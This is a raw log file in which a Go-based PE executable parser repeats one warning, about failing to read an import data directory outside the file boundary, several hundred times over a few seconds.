+time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:26:20+01:00 